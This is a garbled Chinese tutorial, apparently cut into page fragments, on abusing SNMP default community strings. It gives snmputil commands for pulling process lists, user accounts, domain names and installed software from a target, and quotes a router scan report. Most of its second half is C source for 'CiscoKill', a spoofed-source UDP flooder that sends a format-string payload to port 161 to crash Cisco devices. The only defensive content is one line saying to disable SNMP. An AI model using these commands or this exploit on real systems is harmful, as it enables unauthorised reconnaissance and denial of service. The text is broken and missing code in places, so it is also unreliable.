1、、snmp 简单网络管理协议漏洞分析简单网络管理协议(SNMP) 是一个可以远程管理计算机和网络设备的协议.有两种典型的远程监控模式.他们可以粗略地分为“读“ 和“写“(或者是 PUBLIC 和 PRIVATE).如果攻击者能猜出一个 PUBLIC 团体串值,那么他就可以从远程设备读取 SNMP 数据.这个信息可能包括系统时间,IP 地址,接口,运行着的进程,etc 等.如果攻击者猜出一个 PRIVATE 团体串值(写入或“ 完全控制“ ,他就有更改远程机器上信息的能力.这会是一个极大的安全漏洞,能让攻击者成功地破坏网络,运行的进程,ect.其实,“完全控制 “会给远程攻击者提供在主机上的完全
2、管理权限.更多信息请参见:http:/ . _vulnerability.html_SNMP Agent responded as expected with community name: publicCVE_ID : CAN-1999-0517, CAN-1999-0186, CAN-1999-0254, CAN-1999-0516BUGTRAQ_ID : 11237, 10576, 177, 2112, 6825, 7081, 7212, 7317, 9681, 986NESSUS_ID : 10264Other references : IAVA:2001-B-0001SNMP 服务在
3、 UDP 161/162 端口监听用法:snmputil walk IP public OID-OID-含义-.1.3.6.1.2.1.25.4.2.1.2 获取系统进程.1.3.6.1.4.1.77.1.2.25.1.1 获取用户列表.1.3.6.1.4.1.77.1.4.1.0 获取域名.1.3.6.1.2.1.25.6.3.1.2 获取安装的软件.1.3.6.1.2.1.1 获取系统信息-扫描到的一个报告:. 端口“snmp (161/udp)“发现安全漏洞 : Snmp 口令:“public“. 端口“snmp (161/udp)“发现安全提示 : sysDescr.0 = Drayt
4、ek V3300 Advanced RoutersysUpTime.0 = 3 Days, 1 Hours, 53 Minutes, 10 SecondssysContact.0 = adminroutersysName.0 = V3300csysLocation.0 = Hsin Chu sysServices.0 = 0目的:得到远程目标的系统敏感信息简单 利用方法这里的 public 使用来查询对方信息时所用到的密码具体的做法:要用到一个叫 snmputil 的东西,这个东西在 win2000 的 resource kit 中有,通过它我们可以通过 snmp 服务来查看对方的一些信息格式
5、:snmputil get(or walk or getnext) public oidget 和括号里的时获取对方机器信息的一种方法, public 就是查寻的时候要用的密码。oid是被查询设备的 ID 号码例如:snmputil walk 111.111.111.111 public .1.3.6.1.2.1.25.4.2.1.2snmputil walk ip public .1.3.6.1.2.1.25.4.2.1.2(列出系统进程)snmputil walk ip public .1.3.6.1.4.1.77.1.2.25.1.1(列出系统用户列表)snmputil get ip p
6、ublic .1.3.6.1.4.1.77.1.4.1.0(列出域名)snmputil walk ip public .1.3.6.1.2.1.25.6.3.1.2(列出安装软件)snmputill walk ip public .1.3.6.1.2.1(列出系统信息)-关于扫描中 snmp 信息的利用对于完全安装的 WIN2K 或者说启动了 简单网络管理协议(SNMP)的系统来说,仍然将存在 非常致命的隐患,完全将你的系统暴露给所有人。 一、从 SNMP 说起 SNMP,Simple Network Management Protocol,简单网络管理协议。用于管理 IP 网络上结点的协议。
7、 几乎所有的网络设备和网络操作系统都支持 SNMP。 接下来要介绍的是:community strings, 理解成为基于 SNMP 协议信息通信时使用的一种“查询密码” 应该不为过吧。 当使用特殊的客户端应用程序,通过该“查询密码”community strings 的验证,将获得 对应的权限(只读 或者 读写)对 SNMP 中管理信息库(MIB)进行访问。 而管理信息库(MIB)中则保存了系统所有的重要信息。 也就是说,如果可以知道 community strings 这个“ 查询密码”,我们就可以刺探系统的信息了。 比较遗憾的是,很多网络设备厂商以及操作系统厂商,在初始状态下,都使用比较
8、 统一的“查询密码”呵呵,这也就给我们提供了足够的方便。 二、对 WIN2K 进行刺探扫描 以 WIN2K 来说,一旦安装并启动了简单网络管理协议,系统将打开 UDP 161 snmp UDP 162 snmptrap 两个端口。 具体做什么我们不去细究。需要注意的是,这里使用的是 UDP 端口,而不是 TCP 端口。 同时,WIN2K 系统支持初始的 “查询密码”community strings 为:public 我们只要通过一款 Resource Kit 里面的工具 snmputil,就可以方便的获得非常多的信息。 在这里可以下载:http:/ http:/sys- . NEkm0mst
9、ruct in_addr destip_addr;struct sockaddr_in dest;struct ip *IP; struct udphdr *UDP; int p_number=1,sok,datasize,i=0; char *packet,*source,*target; char *packetck;char *data,c;char snmpkill = “x30x81xafx02x01x00x04x06x70x75x62x6cx69x63xa0x81“ “xa1x02x02x09x28x02x01x00x02x01x00x30x81x94x30x81“ “x91x06
10、x81x8cx4dx73x25x73x25x73x25x73x25x73x25x73“ “x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73“ “x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73“ “x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73“ “x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73“ “x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73“ “
11、x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73“ “x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73“ “x25x73x25x73x25x73x81xffxffxffxffxffxffxffxffx7f“ “x05“;struct pseudoudp u_long ipsource;u_long ipdest;char zero;char proto;u_short length; *psudp;in_cksum (unsigned short *ptr, int nbytes)register
12、long sum; /* assumes long = 32 bits */u_short oddbyte;register u_short answer; /* assumes u_short = 16 bits */* Our algorithm is simple, using a 32-bit accumulator (sum),* we add sequential 16-bit words to it, and at the end, fold back* all the carry bits from the top 16 bits into the lower 16 bits.
13、*/sum = 0;while (nbytes 1)sum += *ptr+;nbytes -= 2;/* mop up an odd byte, if necessary */if (nbytes = 1)oddbyte = 0; /* make sure top half is zero */*(u_char *) /* one byte only */sum += oddbyte;/* Add back carry outs from top 16 bits to low 16 bits.*/sum = (sum 16) + (sum /* add high-16 to low-16 *
14、/sum += (sum 16); /* add carry */answer = sum; /* ones-complement, then truncate to 16 bits */return (answer);void usage (void)printf(“Kundera CiscoKill v1.0n“ ;printf(“Usage: ciscokill -n number of packets -s source ip_addr -t ip_target n“ ;int main(int argc,char *argv)if (argc ip_dst.s_addr = dest
15、ip_addr.s_addr;IP-ip_src.s_addr = sourceip_addr.s_addr;IP-ip_v = 4;IP-ip_hl = 5;IP-ip_ttl = 245;IP-ip_id = htons(666);IP-ip_p = 17;IP-ip_len = htons(20 + 8 + datasize);IP-ip_sum = in_cksum(u_short *)packet,20);UDP = (struct udphdr *)(packet+20);UDP-source = htons(666); UDP-dest = htons(161);UDP-len
16、= htons(8+datasize);UDP-check = 0;packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp);bzero(packetck,8 + datasize + sizeof(struct pseudoudp); psudp = (struct pseudoudp *) (packetck);psudp-ipdest = destip_addr.s_addr;psudp-ipsource = sourceip_addr.s_addr;psudp-zero = 0;psudp-proto = 17;
17、psudp-length = htons(8+datasize);memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);UDP-check = in_cksum(u_short *)packetck,8+datasize+sizeof(struct pseudoudp); data = (unsigned char *)(packet+20+8); memcpy(data,snmpkill,datasize); dest.sin_family=AF_INET;dest.sin_addr.s_addr=destip_addr.s_addr; while (ip_number)if ( sendto(sok,packet,20+8+datasize,0,( struct sockaddr * ) exit(EXIT_FAILURE);i+;printf(“%d packets sent.n“,i);安全建议: 在允许的情况下,禁止 SNMP 协议